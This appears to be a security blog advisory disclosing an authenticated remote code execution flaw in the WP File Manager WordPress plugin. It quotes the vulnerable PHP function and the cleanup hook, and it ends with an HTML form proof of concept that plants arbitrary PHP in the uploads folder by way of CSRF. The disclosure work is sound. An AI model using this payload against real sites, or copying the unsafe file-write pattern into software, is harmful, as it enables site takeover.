20 Feb

Just Closed File Manager WordPress Plugin with 300,000+ Installs Contains Authenticated Remote Code Execution (RCE) Vulnerability

Due to our monitoring for closures of the 1,000 most popular WordPress plugins we were notified that the plugin File Manager (WP File Manager), which has 300,000+ installs, was closed today. That a security vulnerability could have led to it being closed wouldn’t be surprising. That is in part due to one of the other plugins from the same developer, Duplicate Page, which has 700,000+ installs, being publicly known to contain multiple unfixed vulnerabilities for over a year (which no one on the WordPress side of things seems to care about), two of which we disclosed in October of 2017 after the developer didn’t respond to our notification to them of the issues. That is also in part due to the continued poor security of this plugin as well, including that it used to be fundamentally insecure and even when that was fixed it wasn’t fixed properly.

Once we were notified of the closure we started checking over the plugin to see if it had any obvious security issues. One of the things we do is to run the plugin through our Plugin Security Checker tool, which allows anyone to check for the possibility of some instances of security issues in WordPress plugins. That flagged that a function, mk_check_filemanager_php_syntax_callback(), was accessible through WordPress’ AJAX functionality to those logged in as well those logged out. The function named hinted that there might be something that shouldn’t be accessible to those not logged in at the very least.

In checking things over we found that those not logged in were restricted from accessing most of the functions code and therefore could not doing any malicious (that the function was registered to allow them access is just one of the security issues here), but we found that the code allows anyone logged in to WordPress execute arbitrary PHP code, which is a serious vulnerability.

Here is the relevant code in the function:

538
539
540
541
542
543
544
545
546
547
548
549
550
public function mk_check_filemanager_php_syntax_callback()
{
	$filename = isset($_POST['filename']) ? sanitize_file_name($_POST['filename']) : '';
	$fileMime = isset($_POST['filemime']) ? sanitize_mime_type($_POST['filemime']) : '';
	$code = stripslashes($_POST['code']);
	if (is_user_logged_in() && $fileMime == 'text/x-php') {
		$current_user = wp_get_current_user();
		$upload_dir = wp_upload_dir();
		if (isset($current_user->user_login) && !empty($upload_dir['basedir'])) {
			$fm_temp = $upload_dir['basedir'].'/fm_temp.php';
			$handle = fopen($fm_temp, 'w');
			fwrite($handle, $code);
			$check = shell_exec('php -d display_errors=1 -l '.$fm_temp);

That code will save the value of the POST input “code” to the file at /wp-content/uploads/fm_temp.php. While the function’s code passes that code to the shell_exec() function, the option “-l” though causes “Syntax check only (lint)” and it shouldn’t run, you can then make a request to the file and the code will execute.

The file will be deleted the next time an admin page is requested as the function remove_fm_temp_file(), which as the name suggest removes the file, runs during admin_init:

39
add_action('admin_init', array(&$this, 'remove_fm_temp_file'));

Due to the moderators of the WordPress Support Forum’s continued inappropriate behavior we are full disclosing vulnerabilities in protest until WordPress gets that situation cleaned up, so we are releasing this post and then only trying to notify the developer through the WordPress Support Forum. You can notify the developer of this issue on the forum as well. Hopefully the moderators will finally see the light and clean up their act soon, so these full disclosures will no longer be needed (we hope they end soon). You would think they would have already done that since a previously full disclosed vulnerability was quickly on hackers’ radar, but it appears those moderators have such disdain for the rest of the WordPress community that their continued ability to act inappropriate is more important that what is best for the rest of the community.

Since there is no protection against cross-site request forgery (CSRF) this could be exploited through that as well.

Considering how insecure that code is, there may be other security issues in the current version of the plugin.

We have now improved one of the checks in our Plugin Security Checker that flags the possibility of being able to write arbitrary content to a file to be able to spot code like is in this plugin.

Proof of Concept

The following proof of concept will cause the specified code to be saved to the file /wp-content/uploads/fm_temp.php, when logged into WordPress.

Make sure to replace “[path to WordPress]” with the location of WordPress and “[code]” with the code to be run.

<html>
<body>
<form action="http://[path to WordPress]/wp-admin/admin-ajax.php?action=mk_check_filemanager_php_syntax" method="POST">
<input type="hidden" name="filemime" value="text/x-php" />
<input type="hidden" name="code" value="[code]" />
<input type="submit" name="submit" value="Submit" />
</form>
</body>
</html>

Concerned About The Security of the Plugins You Use?

When you are a paying customer of our service, you can suggest/vote for the WordPress plugins you use to receive a security review from us. You can start using the service for free when you sign up now. We also offer security reviews of WordPress plugins as a separate service.